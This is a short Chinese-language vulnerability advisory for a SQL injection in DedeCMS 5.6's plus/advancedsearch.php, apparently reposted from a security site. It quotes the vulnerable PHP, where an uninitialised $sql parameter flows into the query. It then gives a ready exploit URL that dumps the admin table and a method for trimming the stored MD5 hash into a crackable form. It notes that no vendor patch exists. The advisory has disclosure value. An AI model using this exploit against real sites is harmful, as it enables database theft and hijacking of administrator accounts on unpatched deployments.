DEDECMS网站管理系统plus/advancedsearch.php注入漏洞


添加时间:
2010-06-18

系统编号:
WAVDB-01658

影响版本:
DEDECMS V 5.6

程序介绍:

DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。

漏洞分析:

plus/advancedsearch.php当中$sql变量未初始化,导致SQL注入漏洞

 
  1. if($mid == 0)  //必须绕过  
  2. {  
  3.         showmsg('参数不正确,高级自定义搜索必须指定模型id''javascript');  
  4.         exit();  
  5. }  
  6. $query = "select maintable, mainfields, addontable, addonfields, template from #@__advancedsearch where mid='$mid'";  
  7. $searchinfo = $dsql->GetOne($query);  
  8. if(!is_array($searchinfo))    
  9. {  
  10.         showmsg('自定义搜索模型不存在','-1');    
  11.         exit();  
  12. }  
  13. $template = $searchinfo['template'] != '' ?  $searchinfo['template'] : 'advancedsearch.htm';  
  14. if(emptyempty($sql))         //成功绕过  
  15. {  
  16.         ..............  
  17. }  
  18. else  
  19. {  
  20.         $sql = urldecode($sql);  
  21.         $query = $sql;  
  22. }  
  23.    
  24. $sql = urlencode($sql);  
  25. $dlist = new DataListCP();  
  26. $dlist->pageSize = 20;  
  27. $dlist->SetParameter("sql"$sql);  
  28. $dlist->SetParameter("mid"$mid);  
  29. ................  
  30.    
  31. $dlist->SetTemplate($templatefile);  
  32. $dlist->SetSource($query);  
  33.    
  34. .............  
  35.    
  36. $dlist->Display();  



漏洞利用:

plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5

解决方案:
厂商补丁:
DEDECMS
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/

信息来源:
<*来源: 俺是农村的
链接: http://t00ls.net
*>